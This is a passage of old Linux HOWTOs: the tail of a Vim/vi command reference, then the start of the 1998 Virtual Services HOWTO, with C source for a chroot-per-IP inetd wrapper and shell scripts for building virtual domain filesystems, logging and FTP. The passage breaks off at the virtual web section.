  8. ; repeat last f F
  9. , inverse of ;
  10. | to specified column
  11. % find matching { or }

12.10 Words, sentences, paragraphs

  1. w Word forward
  2. b Word backward
  3. e End of word
  4. ) To next sentence
  5. ( Back sentence
  6. } To next paragraph
  7. { Back paragraph
  8. W Blank delimited word
  9. B Back W
  10. E To end of W

12.11 Marking and returning

  1. `` (press twice the back-quote ` key) Previous context
  2. '' (press twice the single-quote ` key) Previous context at first non-white in line
  3. mx mark position with letter x
  4. `x (back quote key and letter x) goto mark x
  5. 'x goto mark x at first non-white in line

12.12 Corrections during insert

  1. CTRL-h Erase last character
  2. CTRL-w Erase last word
  3. erase Press DELETE key, same as CTRL-h
  4. kill Your kill key, erase input this line
  5. \ Escapes CTRL-h, DELETE and kill
  6. ESC Ends insertion, back to command
  7. CTRL-? Interrupt, terminates insert
  8. CTRL-d Backtab over autoindent
  9. CTRL-v Quote non-printing character

12.13 Adjusting the screen

  1. CTRL-l Clear and redraw
  2. CTRL-r retype, eliminate @lines
  3. z-CR redraw, current line at window top
  4. z- redraw, current line at window bottom
  5. z. redraw, current line at window center
  6. /pat/z- pat line bottom
  7. tn Use n line window
  8. CTRL-e Scroll window down 1 line
  9. CTRL-y Scroll window up 1 line

12.14 Delete

  1. x Delete the character under the cursor
  2. X Delete the charater before the cursor
  3. D Delete to the end of line
  4. d^ Delete back to start of line
  5. dd Delete the current line
  6. ndd Delete n lines starting with the current one
  7. dnw Delete n words starting from cursor

12.15 Insert, change

  1. i Enter input mode inserting before the cursor
  2. I Enter input mode inserting before the first non-blank character
  3. a Enter input mode inserting after the cursor
  4. A Enter input mode inserting after the end of the line
  5. o Open a new line below current line and enter input mode
  6. O Open a new line above current line and enter input mode
  7. r Replace the character under the cursor (does NOT enter input mode)
  8. R Enter input mode replacing characters
  9. C shift-c. Change rest of line
  10. D shift-d. Delete rest of line
  11. s Substitute chars
  12. S Substitute lines
  13. J Join lines
  14. J Join lines

12.16 Copy and Paste

The "yank buffer" is filled by EVERY delete command, or explicitely by Y and yy.

  1. Y Copy the current line to the yank buffer
  2. nyy Copy n lines starting from the current to the yank buffer
  3. p Paste the yank buffer after the cursor (or below the current line)
  4. P Paste the yank buffer before the cursor (or above the current line)
  5. "xp Put from buffer x
  6. "xy Yank to buffer x
  7. "xd Delete into buffer x

12.17 Operators (use double to affect lines)

  1. d delete
  2. c change
  3. < left shift
  4. > right shift
  5. ! filter through command
  6. = indent for LISP
  7. y yank text to buffer

12.18 Search and replace

  1. /text Search forward for text
  2. ?text Search backward for text
  3. n Repeat the last search in the same direction
  4. N Repeat the last search in the reverse direction
  5. / Repeat the last search forward
  6. ? Repeat the last search backward
  7. [ addr ] s/from/to/ [ g ] Search for the occurence of from and replace it with to in the current line, or in the range addr (two line numbers seperated by command; 1,$ is the whole file). Replaces one occurrence per line, or all occurrences if g is specified. For example, :3,20s/someword/anotherword/g Will replace "someword" with "anotherword" starting from line 3 to line 20. 'g' is global means replace all occurrences of "someword".

12.19 General

  1. :sh Forks a shell (to be exited with CTRL-d)
  2. :!command Forks a shell to execute command
  3. :set number Switch on line numbering
  4. :set nonumber Switch off line numbering

12.20 Line Editor Commands

  1. : Tells vi that the next commands you issue will be line editor commands.
  2. :sh Temporarily returns to the shell to perform some shell commands without leaving vi.
  3. CTRL-d Escapes the temporary return to the shell and returns to vi so you can edit the current window.
  4. :n Goes to the nth line of the buffer.
  5. :x,z w filename Writes lines from the numbers x through the number z into a new file called filename.
  6. :$ Moves the cursor to the beginning of the last line in the buffer.
  7. :.,$d Deletes all the lines from the current line to the last line
  8. :r filename Inserts the contents of the file filename under the current line of the buffer.
  9. :s/text/new_text/ Replaces the first instance of text on the current line with new_text
  10. :s/text/new_text/g Replaces the every occurrence of text on the current line with new_text
  11. :g/text/s//new_text/g Changes every occurrence of text on the buffer to new_text.

12.21 Other commands

  1. u Undo the last change
  2. U Restore the current line
  3. ~ Change case
  4. J Join the currentline with the next line
  5. . Repeat last text changing command
  6. CTRL-g Show file name and line number


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Related URLs

 Next Previous Contents

13. Related URLs

Related VIM URLs are at -

  • C and C++ Beautifer http://www.metalab.unc.edu/LDP/HOWTO/C-C++Beautifier-HOWTO.html
  • Linux goodies main site is at http://www.milkywaygalaxy.freeservers.com Mirror sites are at - http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Other Formats of this Document

 Next Previous Contents

14. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

14.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

14.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Al Dev site
  • Download the cleanup_ld2db.pl perl script from from Al Dev site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

14.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

14.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


Vim Color Editor HOW-TO (Vi Improved with syntax color highlighting) : Copyright Notice

 Next Previous Contents

15. Copyright Notice

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional restrictions are - you must retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you should notify all the authors of this document.


Virtual Services Howto

Brian Ackerman, brian@nycrc.net

v2.1, 15 August 1998

This document came about to satisfy the ever increasing need to know how to virtualize a service.

1. Introduction

  • 1.1 Knowledge Required
  • 1.2 Purpose
  • 1.3 Feedback
  • 1.4 Revision History
  • 1.5 Copyright/Distribution

2. IP Aliasing

3. Virtuald

  • 3.1 Introduction
  • 3.2 Inetd
  • 3.3 Config File
  • 3.4 Source

4. Shell Scripts

  • 4.1 Virtfs
  • 4.2 Virtexec
  • 4.3 Notes

5. DNS

6. Syslogd

  • 6.1 Problem
  • 6.2 Solution
  • 6.3 Multiple Syslogd's

7. Virtual FTP

  • 7.1 Inetd
  • 7.2 Anonymous FTP
  • 7.3 Virtual FTP Users

8. Virtual Web

  • 8.1 Running With Virtuald
  • 8.2 Running With Apache VirtualHost
  • 8.3 File Descriptor Overflow
  • 8.4 Sharing Servers With One IP
  • 8.5 More Information

9. Virtual Mail/Pop

  • 9.1 Problem
  • 9.2 Solution
  • 9.3 Sendmail Solution
  • 9.4 Qmail Solution
  • 9.5 Acknowledgement

10. Virtual Samba

  • 10.1 Setup
  • 10.2 Inetd
  • 10.3 Smb.init

11. Virtual Other

12. Conclusion

13. FAQ


Virtual Services Howto: Introduction

 Next Previous Contents

1. Introduction

1.1 Knowledge Required

Creating a virtual services machine is not all that difficult, however, more than fundamental knowledge is required. This document is not a primer to how to fully configure a Linux machine.

In order to understand this HOWTO document it is assumed that you are thoroughly familiar with the following:

  • Compiling a Linux kernel and adding IP aliasing support IP alias mini-HOWTO
  • Setting up and configuring of network devices NET-3 HOWTO
  • Setting up of inetd NET-3 HOWTO
  • Various network packages like Sendmail Apache Qmail SAMBA
  • Setting up DNS DNS HOWTO
  • Understanding basic system administration Linux Systems Administrators's Guide
  • Understanding how to setup a Web Server WWW HOWTO

If you are uncertain of how to proceed with any of the above it is STRONGLY recommended that you use the html links provided to familiarize yourself with all packages. I will NOT reply to mail regarding any of the above. Please direct your questions to the appropriate author of the HOWTO.

1.2 Purpose

The purpose of virtual services is to allow a single machine to recognize multiple IP addresses without multiple network cards. IP aliasing is a kernel option that allows you to assign each network device more than one IP address. The kernel then multiplexes (swaps between them very fast) in the background and to the user it appears like you have more than one server.

This multiplexing allows multiple domains (www.domain1.com, www.domain2.com, etc.) to be hosted by the same machine for the same cost as hosting one domain. Unfortunately, most services (FTP, web, mail) were not designed to handle muliple domains. In order to make them work properly you must modify both configuration files and source code. This document describes how to make these modifications in the setting up of a virtual machine.

A deamon is also required in order to make virtual services function. The source for this daemon (virtuald) is provided later in this document.

1.3 Feedback

This document will expand as packages are updated and source or configuration modifications change. If there are any portions of this document that are unclear please feel free to email me with your suggestions or questions. So that I do not have to go searching through the entire HOWTO please make certain that all comments are as specific as possible and include the section where the uncertainty lies. It is important that all mail be addressed with VIRTSERVICES HOWTO in the subject line. Any other mail will be considered personal and all my friends know that I do not ever read my personal mail so it will probably get discarded with theirs.

Please note that my examples are just that, examples and should not be copied verbatim. You may have to insert your own values. If you are having trouble, send me mail. Include all the pertinent configuration files and the error messages you get when installing and I will look them over and reply with my suggestions.

1.4 Revision History

V1.0

Initial version

V1.1

Fixed error in Virtual Web Section

V1.2

Fixed the date

V2.0

Updated html links.

Web updates.

New Sendmail option.

New Qmail section.

Syslogd updates.

FTP updates.

Virtuald default option.

New SAMBA section.

FAQ updates.

V2.1

Changed all paths to /usr/local.

Added virtuald VERBOSELOG compile option.

Fixed setuid/setgid bug in virtmailfilter.

Fixed execl bug in virtmailfilter.

Fixed capitialization bug in virtmailfilter.

Fixed environment variable sanity check in virtmailfilter.

Removed mbox code from virtmailfilter/virtmaildelivery.

Added tcpserver.init pop section for Qmail.

Added alias domain name question to the FAQ.

Fixed virtmailfilter to send home directory to virtmaildelivery.

1.5 Copyright/Distribution

This document is Copyright (c) 1997 by The Computer Resource Center Inc.

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similiarly permitted without express permission if it includes a notice on who translated it. Commercial redistribution is allowed and encouraged; however please notify Computer Resource Center of any such distributions.

Excerpts from the document may be used without prior consent provided that the derivative work contains the verbatim copy or a pointer to a verbatim copy.

Permission is granted to make and distribute verbatim copies of this document provided the copyright notice and this permission notice are preserved on all copies.

In short, we wish to promote dissemination of this information through as many channels as possible. However, I do wish to retain copyright on this HOWTO document, and would like to be notified of any plans to redistribute this HOWTO.


Virtual Services Howto: IP Aliasing

 Next Previous Contents

2. IP Aliasing

IP aliasing is a kernel option that needs to be set up in order to run a virtual hosting machine. There is already a mini-HOWTO on IP aliasing. Consult that for any questions on how to set it up.


Virtual Services Howto: Virtuald

 Next Previous Contents

3. Virtuald

3.1 Introduction

Every network connection is made up of two IP address/port pairs. The API (Applications Program Interface) for network programming is called the Sockets API. The socket acts like an open file and by reading/writing to it you can send data over a network connection. There is a function call getsockname that will return the IP address of the local socket. Virtuald uses getsockname to determine which IP on the local machine is being accessed. Virtuald reads a config file to retrieve the directory associated with that IP. It will chroot to that directory and hand the connection off to the service. Chroot resets / or the root directory to a new point so everything higher in the directory tree is cut off from the running program. Therefore, each IP address gets their own virtual filesystem. To the network program this is transparent and the program will behave like nothing happened. Virtuald in conjunction with a program like inetd can then be used to virtualize any service.

3.2 Inetd

Inetd is a network super server that listens at multiple ports and when it receives a connection (for example, an incoming pop request), inetd performs the network negotiation and hands the network connection off to the specified program. This prevents services from running idly when they are not needed.

A standard /etc/inetd.conf file looks like this:

ftp stream tcp nowait root /usr/sbin/tcpd \
        wu.ftpd -l -a
pop-3 stream tcp nowait root /usr/sbin/tcpd \
        in.qpop -s

A virtual /etc/inetd.conf file looks like this:

ftp stream tcp nowait root /usr/local/bin/virtuald \
        virtuald /virtual/conf.ftp wu.ftpd -l -a
pop-3 stream tcp nowait root /usr/local/bin/virtuald \
        virtuald /virtual/conf.pop in.qpop -s

3.3 Config File

Each service gets a config file that will control what IPs and directories are allowed for that service. You can have one master config file or several config files if you want each service to get a different list of domains. A config file looks like this:

# This is a comment and so are blank lines

# Format IP SPACE dir NOSPACES
10.10.10.129 /virtual/domain1.com
10.10.10.130 /virtual/domain2.com
10.10.10.157 /virtual/domain3.com

# Default option for all other IPs
default /

3.4 Source

This is the C source code to the virtuald program. Compile it and install it in /usr/local/bin with permission 0755, user root, and group root. The only compile option is VERBOSELOG which will turn on/off logging of connections.

#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>
#include <string.h>
#include <syslog.h>
#include <stdio.h>

#undef VERBOSELOG

#define BUFSIZE 8192

int getipaddr(char **ipaddr)
{
        struct sockaddr_in virtual_addr;
        static char ipaddrbuf[BUFSIZE];
        int virtual_len;
        char *ipptr;

        virtual_len=sizeof(virtual_addr);
        if (getsockname(0,(struct sockaddr *)&virtual_addr,&virtual_len)<0)
        {
                syslog(LOG_ERR,"getipaddr: getsockname failed: %m");
                return -1;
        }
        if (!(ipptr=inet_ntoa(virtual_addr.sin_addr)))
        {
                syslog(LOG_ERR,"getipaddr: inet_ntoa failed: %m");
                return -1;
        }
        strncpy(ipaddrbuf,ipptr,sizeof(ipaddrbuf)-1);
        *ipaddr=ipaddrbuf;
        return 0;
}

int iptodir(char **dir,char *ipaddr,char *filename)
{
        char buffer[BUFSIZE],*bufptr;
        static char dirbuf[BUFSIZE];
        FILE *fp;

        if (!(fp=fopen(filename,"r")))
        {
                syslog(LOG_ERR,"iptodir: fopen failed: %m");
                return -1;
        }
        *dir=NULL;
        while(fgets(buffer,BUFSIZE,fp))
        {
                buffer[strlen(buffer)-1]=0;
                if (*buffer=='#' || *buffer==0)
                        continue;
                if (!(bufptr=strchr(buffer,' ')))
                {
                        syslog(LOG_ERR,"iptodir: strchr failed");
                        return -1;
                }
                *bufptr++=0;
                if (!strcmp(buffer,ipaddr))
                {
                        strncpy(dirbuf,bufptr,sizeof(dirbuf)-1);
                        *dir=dirbuf;
                        break;
                }
                if (!strcmp(buffer,"default"))
                {
                        strncpy(dirbuf,bufptr,sizeof(dirbuf)-1);
                        *dir=dirbuf;
                        break;
                }
        }
        if (fclose(fp)==EOF)
        {
                syslog(LOG_ERR,"iptodir: fclose failed: %m");
                return -1;
        }
        if (!*dir)
        {
                syslog(LOG_ERR,"iptodir: ip not found in conf file");
                return -1;
        }
        return 0;
}

int main(int argc,char **argv)
{
        char *ipaddr,*dir;

        openlog("virtuald",LOG_PID,LOG_DAEMON);

#ifdef VERBOSELOG
        syslog(LOG_ERR,"Virtuald Starting: $Revision: 1.49 $");
#endif
        if (!argv[1])
        {
                syslog(LOG_ERR,"invalid arguments: no conf file");
                exit(0);
        }
        if (!argv[2])
        {
                syslog(LOG_ERR,"invalid arguments: no program to run");
                exit(0);
        }
        if (getipaddr(&ipaddr))
        {
                syslog(LOG_ERR,"getipaddr failed");
                exit(0);
        }
#ifdef VERBOSELOG
        syslog(LOG_ERR,"Incoming ip: %s",ipaddr);
#endif
        if (iptodir(&dir,ipaddr,argv[1]))
        {
                syslog(LOG_ERR,"iptodir failed");
                exit(0);
        }
        if (chroot(dir)<0)
        {
                syslog(LOG_ERR,"chroot failed: %m");
                exit(0);
        }
#ifdef VERBOSELOG
        syslog(LOG_ERR,"Chroot dir: %s",dir);
#endif
        if (chdir("/")<0)
        {
                syslog(LOG_ERR,"chdir failed: %m");
                exit(0);
        }
        if (execvp(argv[2],argv+2)<0)
        {
                syslog(LOG_ERR,"execvp failed: %m");
                exit(0);
        }

        closelog();

        exit(0);
}


Virtual Services Howto: Shell Scripts

 Next Previous Contents

4. Shell Scripts

4.1 Virtfs

Each domain should get their own directory structure. Since you are using chroot you will require duplicate copies of the shared libraries, binaries, conf files, etc. I use /virtual/domain1.com for each domain that I create.

I realize that you are taking up more disk space but it is cheaper than a whole new machine and network cards. If you really want to preserve space you can hard link the files together so only one copy of each binary exists. The filesystem that I use takes up a little over 2M. However, this script attempts to copy all the files from the main filesystem in order to be as generic as possible.

Here is a sample virtfs script:

#!/bin/sh

echo '$Revision: 1.49 $'

echo -n "Enter the domain name: "
read domain

if [ "$domain" = "" ]
then
        echo Nothing entered: aborting
        exit 0
fi

leadingdir=/virtual

echo -n "Enter leading dir: (Enter for default: $leadingdir): "
read ans

if [ "$ans" != "" ]
then
        leadingdir=$ans
fi

newdir=$leadingdir/$domain

if [ -d "$newdir" ]
then
        echo New directory: $newdir: ALREADY exists
        exit 0
else
        echo New directory: $newdir
fi

echo Create $newdir
mkdir -p $newdir

echo Create bin
cp -pdR /bin $newdir

echo Create dev
cp -pdR /dev $newdir

echo Create dev/log
ln -f /virtual/log $newdir/dev/log

echo Create etc
mkdir -p $newdir/etc
for i in /etc/*
do
        if [ -d "$i" ]
        then
                continue
        fi
        cp -pd $i $newdir/etc
done

echo Create etc/skel
mkdir -p $newdir/etc/skel

echo Create home
for i in a b c d e f g h i j k l m n o p q r s t u v w x y z
do
        mkdir -p $newdir/home/$i
done

echo Create home/c/crc
mkdir -p $newdir/home/c/crc
chown crc.users $newdir/home/c/crc

echo Create lib
mkdir -p $newdir/lib
for i in /lib/*
do
        if [ -d "$i" ]
        then
                continue
        fi
        cp -pd $i $newdir/lib
done

echo Create proc
mkdir -p $newdir/proc

echo Create sbin
cp -pdR /sbin $newdir

echo Create tmp
mkdir -p -m 0777 $newdir/tmp
chmod +t $newdir/tmp

echo Create usr
mkdir -p $newdir/usr

echo Create usr/bin
cp -pdR /usr/bin $newdir/usr

echo Create usr/lib
mkdir -p $newdir/usr/lib

echo Create usr/lib/locale
cp -pdR /usr/lib/locale $newdir/usr/lib

echo Create usr/lib/terminfo
cp -pdR /usr/lib/terminfo $newdir/usr/lib

echo Create usr/lib/zoneinfo
cp -pdR /usr/lib/zoneinfo $newdir/usr/lib

echo Create usr/lib/\*.so\*
cp -pdR /usr/lib/*.so* $newdir/usr/lib

echo Create usr/sbin
cp -pdR /usr/sbin $newdir/usr

echo Linking usr/tmp
ln -s /tmp $newdir/usr/tmp

echo Create var
mkdir -p $newdir/var

echo Create var/lock
cp -pdR /var/lock $newdir/var

echo Create var/log
mkdir -p $newdir/var/log

echo Create var/log/wtmp
cp /dev/null $newdir/var/log/wtmp

echo Create var/run
cp -pdR /var/run $newdir/var

echo Create var/run/utmp
cp /dev/null $newdir/var/run/utmp

echo Create var/spool
cp -pdR /var/spool $newdir/var

echo Linking var/tmp
ln -s /tmp $newdir/var/tmp

echo Create var/www/html
mkdir -p $newdir/var/www/html
chown webmast.www $newdir/var/www/html
chmod g+s $newdir/var/www/html

echo Create var/www/master
mkdir -p $newdir/var/www/master
chown webmast.www $newdir/var/www/master

echo Create var/www/server
mkdir -p $newdir/var/www/server
chown webmast.www $newdir/var/www/server

exit 0

4.2 Virtexec

To execute commands in a virtual environment you have to chroot to that directory and then run the command. I have written a special shell script called virtexec that handles this for any command:

#!/bin/sh

echo '$Revision: 1.49 $'

BNAME=`basename $0`
FIRST4CHAR=`echo $BNAME | cut -c1-4`
REALBNAME=`echo $BNAME | cut -c5-`

if [ "$BNAME" = "virtexec" ]
then
        echo Cannot run virtexec directly: NEED a symlink
        exit 0
fi

if [ "$FIRST4CHAR" != "virt" ]
then
        echo Symlink not a virt function
        exit 0
fi

list=""
num=1
for i in /virtual/*
do
        if [ ! -d "$i" ]
        then
                continue
        fi
        if [ "$i" = "/virtual/lost+found" ]
        then
                continue
        fi
        list="$list $i $num"
        num=`expr $num + 1`
done

if [ "$list" = "" ]
then
        echo No virtual environments exist
        exit 0
fi

dialog --clear --title 'Virtexec' --menu Pick 20 70 12 $list 2> /tmp/menu.$$
if [ "$?" = "0" ]
then
        newdir=`cat /tmp/menu.$$`
else
        newdir=""
fi
tput clear
rm -f /tmp/menu.$$

echo '$Revision: 1.49 $'

if [ ! -d "$newdir" ]
then
        echo New directory: $newdir: NOT EXIST
        exit 0
else
        echo New directory: $newdir
fi

echo bname: $BNAME

echo realbname: $REALBNAME

if [ "$*" = "" ]
then
        echo args: none
else
        echo args: $*
fi

echo Changing to $newdir
cd $newdir

echo Running program $REALBNAME

chroot $newdir $REALBNAME $*

exit 0

Please note that you must have the dialog program installed on your system for this to work. To use virtexec just symlink a program to it. For example,

ln -s /usr/local/bin/virtexec /usr/local/bin/virtpasswd
ln -s /usr/local/bin/virtexec /usr/local/bin/virtvi
ln -s /usr/local/bin/virtexec /usr/local/bin/virtpico
ln -s /usr/local/bin/virtexec /usr/local/bin/virtemacs
ln -s /usr/local/bin/virtexec /usr/local/bin/virtmailq

Then if you type virtvi or virtpasswd or virtmailq it will allow you to vi a program, change a user's password or check the mail queue on your virtual system. You can create as many virtexec symlinks as you want. Please note that if your program requires a shared library it has to be in the virtual filesystem as well as the binary.

4.3 Notes

I install all the scripts in /usr/local/bin. Anything that I do not want to put on the virtual filesystem I put in /usr/local. The script does not copy any of the files in /usr/local to the virtual filesystem. Any files that are important to not cross virtual filesystems should be removed. For example, ssh is installed on my system and I did not want the private key for the server available on all the virtual filesystems so I remove it from each virtual filesystem after I run virtfs. I also change resolv.conf and remove anything that has the name of another domain on it for legal reasons. For example, /etc/hosts and /etc/HOSTNAME.

The programs that I symlink to virtexec are:

  • virtpasswd -- change a user password
  • virtadduser -- create a user
  • virtdeluser -- delete a user
  • virtsmbstatus -- see SAMBA status
  • virtvi -- edit a file
  • virtmailq -- check out the mailq
  • virtnewaliases -- rebuild alias tables


Virtual Services Howto: DNS

 Next Previous Contents

5. DNS

You can configure DNS normally. There is a HOWTO on DNS.


Virtual Services Howto: Syslogd

 Next Previous Contents

6. Syslogd

6.1 Problem

Syslogd is the system logging utility commonly used on UNIX systems. Syslogd is a daemon that opens a special file called a FIFO. A FIFO is a special file that acts like a pipe. Anything that is written to the write side will come out the read side. Syslogd waits for data from the read side. There are C functions that write to the write side. If your program uses these C functions your output will go to syslogd.

Remember that we have used a chroot environment and the FIFO that syslogd is reading from (/dev/log) is not present. That means all the virtual environments will not log to syslogd.

6.2 Solution

Setup Links

Syslogd can look to a different FIFO if you tell it on the command line so run syslogd with the argument:

syslogd -p /virtual/log

Then symlink /dev/log to /virtual/log by:

ln -sf /virtual/log /dev/log

Then hard link all the /dev/log copies to this file by running:

ln -f /virtual/log /virtual/domain1.com/dev/log

The virtfs script above already does this. Since /virtual is one contiguous disk and the /dev/log's are hard linked they have the same inode number and point to the same data. The chroot cannot stop this so all your virtual /dev/log's will now function. Note that all the messages from all the environments will be logged in one place. However, you can write separate programs to filter out the data.

Syslogd.init

This version of the syslogd.init file hard links the /dev/log's each time you start it because syslogd deletes and creates the /dev/log FIFO each time it runs. Here is a modified syslogd.init file:

#!/bin/sh

. /etc/rc.d/init.d/functions

case "$1" in
  start)
        echo -n "Starting dev log: "
        ln -sf /virtual/log /dev/log
        echo done
        echo -n "Starting system loggers: "
        daemon syslogd -p /virtual/log
        daemon klogd
        echo
        echo -n "Starting virtual dev log: "
        for i in /virtual/*
        do
                if [ ! -d "$i" ]
                then
                        continue
                fi
                if [ "$i" = "/virtual/lost+found" ]
                then
                        continue
                fi
                ln -f /virtual/log $i/dev/log
                echo -n "."
        done
        echo " done"
        touch /var/lock/subsys/syslogd
        ;;
  stop)
        echo -n "Shutting down system loggers: "
        killproc syslogd
        killproc klogd
        echo
        rm -f /var/lock/subsys/syslogd
        ;;
  *)
        echo "Usage: syslogd {start|stop}"
        exit 1
esac

exit 0

6.3 Multiple Syslogd's

One Per Disk

If you run out of space on one filesystem and you have to break up your virtual domains onto different disks remember that hard links will not cross disks. That means you will have to run a separate syslogd for each group of domains on a disk. For example, if you had thirteen domains on /virtual1 and fifteen domains on /virtual2, you would hard link thirteen domains to /virtual1/log and run one syslogd with syslogd -p /virtual1/log and hard link fifteen other domains to /virtual2/log with a syslogd running with syslogd -p /virtual2/log .

One Per Domain

If you do not want to centralize the logs to one place you could also run one syslogd per domain. This wastes process ID's so I do not recommend it but it is easier to implement. You would have to alter your syslogd.init file to run syslogd as chroot /virtual/domain1.com syslogd for each domain. This will run each syslogd within the chroot and the logs will be in /virtual/domain1.com/var/log rather than all combined in /var/log. Do not forget to run a syslogd normally syslogd for the main system and a kernel logger klogd .


Virtual Services Howto: Virtual FTP

 Next Previous Contents

7. Virtual FTP

7.1 Inetd

Wu-ftpd comes with built in support to make it virtual. However, you cannot maintain separate password files for each domain. For example, if bob@domain1.com and bob@domain2.com both want an account you would have to make one of them bob2 or have one of the users choose a different user name. Since you now have a virtual filesystem for each domain you have separate password files and this problem goes away. Just create a virtnewuser script and a virtpasswd script in the way mentioned above and you are all set.

The inetd.conf entries for wu-ftpd:

ftp stream tcp nowait root /usr/local/bin/virtuald \
        virtuald /virtual/conf.ftp wu.ftpd -l -a

7.2 Anonymous FTP

These are unaffected by the virtuald setup. For an anonymous user just create the FTP user in /virtual/domain1.com/etc/passwd like you would normally.

ftp:x:14:50:Anonymous FTP:/var/ftp:/bin/false

Then setup the anonymous FTP directory. You have separate password files for each domain so you can restrict which domain has an anonymous FTP account. Please note that since the FTP server is already chrooted into the /virtual/domain1.com directory you do not have to prefix any paths with it.

7.3 Virtual FTP Users

Wu-ftpd supports something called a guest group. This allows you to create different FTP areas for each user. The FTP server does a chroot to the specified area so the user cannot go outside that directory tree. If you create the users within a virtual domain this way they will not be able to view the system files.

Add the guest's group to the /virtual/domain1.com/etc/ftpaccess file.

Create an entry in /virtual/domain1.com/etc/passwd with the chroot dir and the starting home directory separated by /./ :

guest1:x:8500:51:Guest FTP:/home/g/guest1/./incoming:/bin/false

Then setup guest's home like you would for anonymous FTP. You have separate password files for each domain so you can specifiy which domains have guest accounts and which users within a domain are guest users. Please note that since the FTP server is already chrooted into the /virtual/domain1.com directory you do not have to prefix any paths with it.


Virtual Services Howto: Virtual Web

 Next Previous Contents

8. Virtual Web

8.1 Running With Virtuald

Not recommended

